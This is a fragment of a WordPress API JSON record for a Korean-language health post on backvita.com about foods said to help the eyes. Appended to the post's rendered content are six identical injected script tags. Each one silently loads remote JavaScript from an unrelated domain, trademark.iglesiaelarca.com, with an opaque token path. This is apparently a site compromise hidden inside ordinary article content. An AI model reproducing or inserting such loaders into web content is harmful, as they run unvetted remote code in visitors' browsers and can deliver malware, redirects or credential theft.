\ubcf4\uc138\uc694.<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>The&nbsp;eye&nbsp;is one of the most important organs in our body, it helps us see the world, understand the world, and is the window of spiritual communication between people. If you want to have a pair of clear and bright eyes, in addition to protecting and loving it every day, eating the right food is also [&hellip;]<\/p>","protected":false},"author":1,"featured_media":4197,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"The best vegetarian for eyes Eat a little more every day eyes bright and clear","_seopress_titles_desc":"The reason why grapes can protect the eyes is mainly because they are rich in anthocyanins. Its antioxidant ability, in addition to reducing the damage to blood vessels, can also promote the circulation of cells around the eyes, helping to alleviate eye fatigue.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x164.webp",300,164,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-768x420.webp",768,420,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-600x328.webp",600,328,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>The&nbsp;eye&nbsp;is one of the most important organs in our body, it helps us see the world, understand the world, and is the window of spiritual communication between people. If you want to have a pair of clear and bright eyes, in addition to protecting and loving it every day, eating the right food is also key. The following are some favorite foods for the eyes, and remember to eat them often! The reason why grapes can protect the eyes is mainly because they are rich in anthocyanins. Its antioxidant ability, in addition to reducing the damage to blood vessels, can&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7744"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=7744"}],"version-history":[{"count":7,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7744\/revisions"}],"predecessor-version":[{"id":9713,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7744\/revisions\/9713"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/4197"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=7744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=7744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=7744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}